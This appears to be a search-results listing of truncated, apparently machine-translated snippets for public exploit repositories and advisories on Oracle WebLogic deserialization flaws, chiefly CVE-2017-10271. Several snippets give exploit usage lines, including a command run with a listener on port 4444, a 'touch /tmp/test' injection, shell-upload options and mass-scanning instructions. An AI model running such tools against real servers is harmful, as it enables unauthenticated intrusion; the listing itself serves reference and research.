156 matches found
weblogic_wls_wsat_rce
weblogicwlswsatrce Script de explotación de la vulnerabilidad de deserialización del componente wls-wsat de Weblogic CVE-2017-10271, modificado con referencia ahttps://github.com/s3xy/CVE-2017-10271. Ejecución de comandos con salida en pantalla Subida directa de shell Probado en Weblogic 10.3.6.0...
CVE-2018-2628-MultiThreading
Vulnerabilidad de deserialización del componente central WebLogic WLS CVE-2018-2628 Uso: coloque la ip:port a detectar en el archivo url.txt del mismo directorio. Luego ejecute: modifique el número de hilos en la línea 93 del código python CVE-2018-2628-MultiThreading.py Uso: coloque la 'ip:port'...
Oracle WebLogic Server - Remote Code Execution
The Oracle WebLogic Server component of Oracle Fusion Middleware subcomponent: WLS - Web Services is susceptible to a remote code execution vulnerability that is easily exploitable and could allow unauthenticated attackers with network access via HTTP to compromise the server. Supported versions...
CVE-2017-10271
CVE-2017-10271 Script di rilevamento e sfruttamento della vulnerabilità di deserializzazione del componente Weblogic wls-wsat CVE-2017-10271 Utilizzo root@kitploit: $ python CVE-2017-10271.py -l 10.10.10.10 -p 4444 -r http://will.bepwned.com:7001/ Caratteristiche Script Python autonomo Funzionali...
cve-2019-2618
cve-2019-2618 Vulnerabilità di upload su Weblogic richiede nome utente e password - CVE-2019-2618 Utilizzo con Python root@kitploit: python CVE-2019-2618.py url username password Decifrare la password di Weblogic root@kitploit: root@f0cb7e674d7e:/Oracle cat...
CVE-2017-10271
CVE-2017-10271 identificazione e sfruttamento. RCE Weblogic non autenticata. https://nvd.nist.gov/vuln/detail/CVE-2017-10271 https://www.oracle.com/technetwork/topics/security/cpuoct2017-3236626.html root@kitploit: POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: SOMEHOSTHERE Content-Length: 122...
Oracle-WebLogic-CVE-2017-10271-master
WebLogic Wls-wsat XMLDecoder Descrizione della vulnerabilità mitre:https://vulners.com/cve/CVE-2017-3506 In precedenza, gli hacker hanno sfruttato la vulnerabilità del componente WLS di WebLogic per lanciare attacchi remoti su larga scala contro i server aziendali. Un gran numero di server...
cve-2017-10271-poc
CVE-2017-10271 POC Introduzione Questo è un POC di autotest per CVE-2017-10271. È stato testato su CentOS 7 e Windows 7/10. Compilazione Questo progetto è scritto in linguaggio Rust. Per prima cosa è necessario installare l'ambiente Rust da https://www.rust-lang.org/ e poi compilare il progetto c...
Oracle-WebLogic-CVE-2017-10271
WebLogic Wls-wsat XMLDecoder Descrizione della vulnerabilità mitre:https://vulners.com/cve/CVE-2017-3506 All'inizio, gli hacker hanno sfruttato la vulnerabilità del componente WLS di WebLogic per lanciare attacchi remoti su larga scala contro server aziendali. Un gran numero di server aziendali è...
weblogic_2019_2725_wls_batch
weblogic20192725wlsbatch Exploit per la vulnerabilità CVE-2019-2725 di Weblogic, rivolto al componente wls-wsat, utilizza tre exploit per il rilevamento di massa. All'epoca in cui l'ho scritto non ci ho pensato molto: bastava verificare che la vulnerabilità fosse presente. Quindi la funzione dell...
CVE-2017-10271
CVE-2017-10271 Script di rilevamento per la vulnerabilità di deserializzazione del componente wls-wsat di Weblogic CVE-2017-10271 Utilizzo root@kitploit: $ python CVE-2017-10271 url Inoltre è necessario registrare un account su ceye.io e inserire l'Identifier e l'API Token forniti nella seguente...
weblogic_wls_rce_poc-exp
weblogicwls-wsatcomponentdeserialisationrcecve-2017-10271 poc&exp exp funziona solo se il percorso esiste può funzionare per singolo o multiplo ==solo per imparare==...
CVE-2017-10271
CVE-2017-10271 CVE-2017-10271 Esecuzione di comandi con output Caricamento diretto di shell Testato OK su Linux con Weblogic 10.3.6.0 Uso e parametri python weblogicwlswsatexp.py -t IP:7001 root@kitploit: usage: weblogicwlswsatexp.py -h -t TARGET -c CMD -o OUTPUT -s SHELL optional arguments: -h,...
CVE-2017-10271
weblogicwlswsatrce Exploit-Skript für die Deserialisierungsschwachstelle der Weblogic wls-wsat-Komponente CVE-2017-10271, modifiziert in Anlehnung anhttps://github.com/s3xy/CVE-2017-10271. Befehlsausführung mit Rückmeldung Direktes Hochladen einer Shell Getestet unter Linux mit Weblogic 10.3.6.0 ...
CVE-2017-10271
CVE-2017-10271 CVE-2017-10271 Weblogic PoC di verifica della vulnerabilità Useage: python weblogic.py -u 'http://...:7001/wls-wsat/CoordinatorPortType' -c 'touch /tmp/test' Scarica la patch...
Oracle-WebLogic-CVE-2017-10271
Oracle-WebLogic-CVE-2017-10271 WebLogic wls-wsat RCE CVE-2017-10271 Descrizione della vulnerabilità All'inizio, gli hacker hanno sfruttato la vulnerabilità del componente WLS di WebLogic per lanciare attacchi remoti su larga scala contro i server aziendali. Un gran numero di server aziendali è...
CVE-2017-10271
संक्षिप्त विवरण कमांड निष्पादन और प्रतिध्वनि सीधे शेल अपलोड करें लिनक्स पर वेबलॉजिक 10.3.6.0 के साथ परीक्षण सफल उपयोग विधि python weblogicwlswsatexp.py -t 172.16.80.131:7001 root@kitploit: usage: weblogicwlswsatexp.py -h -t TARGET -c CMD -o OUTPUT -s SHELL optional arguments: -h, --help show this...
EUVD-2026-61288
Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware component: WLS Core Components. Supported versions that are affected are 12.2.1.4.0, 14.1.1.0.0 and 14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via RMI to compromis...
PT-2026-77444
Name of the Vulnerable Software and Affected Versions Oracle WebLogic Server versions 12.2.1.4.0, 14.1.1.0.0 and 14.1.2.0.0 Description An issue in the WLS Core Components of Oracle Fusion Middleware allows an unauthenticated attacker with network access via RMI Remote Method Invocation, a Java A...